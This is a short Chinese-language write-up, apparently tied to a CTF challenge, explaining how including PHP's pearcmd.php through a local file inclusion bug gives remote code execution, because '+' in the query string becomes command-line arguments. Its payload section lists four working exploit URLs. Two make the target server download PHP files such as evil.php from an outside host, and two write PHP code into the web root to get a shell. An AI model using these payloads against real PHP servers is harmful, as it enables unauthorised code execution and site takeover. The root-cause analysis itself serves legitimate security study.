LFI利用php自带的pearcmd.php直接RCE
在做巅峰极客的一题时,用到了包含pearcmd.php从而RCE的点(perlcmd.php也是一样的),今天来研究一下这个点
产生原因
阅读pearcmd.php中关于参数产生的那部分代码发现:
1 | ... |
Getopt.php:readPHPArgv
1 |
|
我们发现这里的参数是从$_SERVER['argv']
(旧版本的就是:$GLOBALS['HTTP_SERVER_VARS']['argv']
)中获取的
我们来测试一下$_SERVER['arvg']
,测试代码:var_dump($_SERVER['argv']);
访问http://127.0.0.1:60080/?1+2+3+4+%20+%dd
1 | /var/www/html/index.php:4: |
在$_SERVER[‘argv’]中的所有url编码都不会被解析,只是当成普通字符串,而+会被解析成参数的分隔符
于是我们便可以像在命令行一样调用pearcmd.php了,接下来就变成了利用pearcmd这个命令getshell,直接命令行尝试(太懒了)
查看pearcmd.php的帮助:php pearcmd.php [options] command [command-options] <parameters>
,那么我们传参就得变成
url/?+[options]+command+[command-options]+<parameters>
,?后面必须跟一个+号让其作为$argv[0],这里要注意+号的数量,因为这是拿来作为分隔符的如:?++
就会被解析成["","",""]
利用条件
- register_argc_argv=On(默认是开的)
- 包含pearcmd.php或者peclcmd.php
payload
这里直接给出payload,都是直接看帮助写出来的,没啥好说的。
exp1:
需要出网
1 | http://192.168.43.230:60080/?+install+--installroot+/tmp/+http://ccreater.top:60006/evil.php++++++++++++++$&f=pearcmd.php&#把GET参数都塞到最后面 |
exp2:
需要出网
会下载到当前文件夹
1 | http://192.168.43.230:60080/?+download+https://fuckyou.free.beeceptor.com/fuckyou.php+&f=pearcmd.php#都塞到最后面 |
exp3:
1 | http://192.168.43.230:60080/?+config-create+/ phpinfo(); /*+/var/www/html/&f=pearcmd.php&XDEBUG_SESSION_START=PHPSTORM.php#把GET参数都塞到路径中,这里可以用url编码来防止空格,/等对文件生成造成影响的字符 |
exp4:
最好用
1 | http://192.168.43.230:60080/?+-c+/var/www/html/config2.php+-d+man_dir=<?phpinfo();?>/*+-s+list&f=pearcmd.php&XDEBUG_SESSION_START=PHPSTORM#参数塞到最后面 |